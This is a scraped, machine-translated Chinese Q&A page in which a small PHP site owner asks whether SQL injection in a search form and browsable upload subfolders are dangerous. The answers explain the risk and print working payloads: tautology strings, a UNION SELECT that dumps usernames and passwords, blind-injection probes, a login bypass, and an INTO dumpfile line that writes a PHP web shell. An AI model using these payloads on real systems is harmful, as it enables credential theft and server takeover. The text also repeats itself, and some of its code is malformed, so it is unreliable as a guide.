Sql injection 网站安全、sql注入和文件权限
我正在建立一个非常小的网站(使用PHP),我有两个大问题 第一个是关于我的搜索表单 为了检索我的内容,我构建了一个非常简单的搜索表单,然后我使用了一个在线安全工具,并向我展示了我的搜索表单易受SQLi攻击 我对此一无所知,所以我开始测试我在一些网站上发现的一些攻击 到目前为止,只有Sql injection 网站安全、sql注入和文件权限,sql-injection,security,Sql Injection,Security,我正在建立一个非常小的网站(使用PHP),我有两个大问题 第一个是关于我的搜索表单 为了检索我的内容,我构建了一个非常简单的搜索表单,然后我使用了一个在线安全工具,并向我展示了我的搜索表单易受SQLi攻击 我对此一无所知,所以我开始测试我在一些网站上发现的一些攻击 到目前为止,只有'或'x'='x起作用(它返回我网站的全部内容,这很糟糕吗?攻击者怎么能伤害我? 第二个问题是关于我的照片,我正在使用一个名为mywebsite.com/uploads/的文件夹来访问我的照片 虽然/upload受保护
'或'x'='x
起作用(它返回我网站的全部内容,这很糟糕吗?攻击者怎么能伤害我?
第二个问题是关于我的照片,我正在使用一个名为mywebsite.com/uploads/的文件夹来访问我的照片
虽然/upload受保护,但子文件夹uploads/temp和uploads/thumbs可以通过浏览器看到
这也会伤害你吗?
有什么建议吗?SQL注入-这很糟糕。
有人可以在你的数据库中运行他想要的任何查询,查找密码,删除你的全部数据等等。
可以通过使用mysql\u real\u escape\u字符串包装查询中的所有用户输入来避免这种情况
关于目录-这实际上取决于您提供的访问。如果文件列表可用,这并不意味着有人可以进行更改/执行它们SQL注入-这很糟糕。
有人可以在你的数据库中运行他想要的任何查询,查找密码,删除你的全部数据等等。
可以通过使用mysql\u real\u escape\u字符串包装查询中的所有用户输入来避免这种情况
关于目录-这实际上取决于您提供的访问。如果文件列表可用,并不意味着有人可以进行更改/执行它们如果您允许SQL注入,攻击者可以对您的网站进行各种各样的恶意操作。他们可以注入代码删除数据库,删除整个数据库 如果您以root用户身份登录mysql,他们可能会在您的服务器上写入(并创建)文件 注射
SELECT '<?php system($_GET[''cmd'']); ?>' INTO dumpfile('./command.php');
在mysql查询中使用$search\u query是安全的。如果您允许SQL注入,攻击者可以对您的网站做各种坏事。他们可以注入代码删除数据库,删除您的整个数据库 如果您以root用户身份登录mysql,他们可能会在您的服务器上写入(并创建)文件 注射
SELECT '<?php system($_GET[''cmd'']); ?>' INTO dumpfile('./command.php');
在mysql查询中使用$search\u查询是安全的。Ad SQL注入:
- 如果您有未发布的文章或仅限注册用户阅读的文章等,则显示整个内容可能会出现问题
- 尝试阅读更多有关SQL注入的内容。可能会执行第二个查询,在数据库中插入新数据,或者更糟的是更改数据(例如密码)。有很多阅读材料,一个开始可能是:清理所有输入,记住:即使你可能找不到通过安全漏洞造成伤害的方法,也不意味着没有人会找到方法;)
- 如果您有未发布的文章或仅限注册用户阅读的文章等,则显示整个内容可能会出现问题
- 尝试阅读更多关于SQL注入的内容。可以执行第二个查询,在数据库中插入新数据,或者更糟的是更改数据(例如密码)。有很多阅读材料,一个开始可能是:清理所有输入,记住:即使你可能找不到通过安全漏洞造成伤害的方法,也不意味着没有人会找到方法;)李>
广告文件夹:你的意思是任何用户都可以看到文件夹的内容?如果是这样,用户可能会看到他们不应该看到的图片。如果您有很好的理由保护主目录(没有文件列表?),为什么不将其应用于temps/和thumbs/子目录?SQL注入非常糟糕,但我喜欢:) 有许多类型的sql注入,比如 远程sql注入
盲sql注入
自动绕过sql注入 这是从网站获取数据的简单方法,黑客可以像程序员一样使用它 看这个例子
mysql_query("SELECT * FROM `table_name` WHERE id=".$_GET['id']." ) ;
我的代码中没有安全性
site.php?id=1
我的查询将执行如下操作
mysql_query("SELECT * FROM `table_name` WHERE id=1 ) ;
mysql_query("SELECT * FROM `table_name` WHERE id=1 union select 0,1,concat(user_name,0x3a,password),3,4 from users) ");
如果是黑客,他会杀死你的代码
php?id=1(这里的任何东西都可能产生问题,例如:`a-z a-z/*/”)
因为查询将是这样的
mysql_query("SELECT * FROM `table_name` WHERE id=1' ) ;
site.php?id=1 union select 0,1,concat(user_name,0x3a,password),3,4 from users
所以单引号将在查询中出错
黑客可以这样攻击
mysql_query("SELECT * FROM `table_name` WHERE id=1' ) ;
site.php?id=1 union select 0,1,concat(user_name,0x3a,password),3,4 from users
在这里,您的查询将像
mysql_query("SELECT * FROM `table_name` WHERE id=1 ) ;
mysql_query("SELECT * FROM `table_name` WHERE id=1 union select 0,1,concat(user_name,0x3a,password),3,4 from users) ");
这将起作用:)
盲sql注入
黑客无法使用简易方式远程sql注入
因为它在这里取决于对与错
因此他将使用和
或
像这样
mysql_query("SELECT * FROM `table_name` WHERE id=1' ) ;
site.php?id=1 union select 0,1,concat(user_name,0x3a,password),3,4 from users
and (select user_name from users) ;
如果工作良好,脚本将工作良好,否则将发生错误
他可以知道这样的数据库信息
mysql_query("SELECT * FROM `table_name` WHERE id=1' ) ;
site.php?id=1 union select 0,1,concat(user_name,0x3a,password),3,4 from users
示例管理表是admin
and (select user_name from users) ; x error
and (select user_name from admin) ; fine
自动旁路
它的blicd sql注入,但只有true条件才能访问admin
mysql_query("SELECT * FROM `users` WHERE `user_name`= ".$_POST['user']." AND `password` ='".md5($_POST['pass'])."' ");
黑客可以这样登录
mysql_query("SELECT * FROM `table_name` WHERE id=1' ) ;
site.php?id=1 union select 0,1,concat(user_name,0x3a,password),3,4 from users
user=anything'或1=1--
因此,您的查询将如下所示
mysql_query("SELECT * FROM `users` WHERE `user_name`= anything or 1=1 --");
数据库中的任何内容都是用户错误
但条件或1=1是真的
--将忽略您的密码检查
他很容易接近
保护
addslashes _ mysql_real_escape_string _ intval ( with number only )
您可以使用的文件夹预授权
空index.html,index.php,SQL注入非常糟糕,但我喜欢:) 有许多类型的sql注入,比如 远程sql注入
盲sql注入
自动绕过sql注入 这是从网站获取数据的简单方法,黑客可以像程序员一样使用它 看这个例子
mysql_query("SELECT * FROM `table_name` WHERE id=".$_GET['id']." ) ;
我的代码中没有安全性
site.php?id=1
我的查询将执行如下操作
mysql_query("SELECT * FROM `table_name` WHERE id=1 ) ;
mysql_query("SELECT * FROM `table_name` WHERE id=1 union select 0,1,concat(user_name,0x3a,password),3,4 from users) ");
如果是黑客,他会杀死你的代码
site.php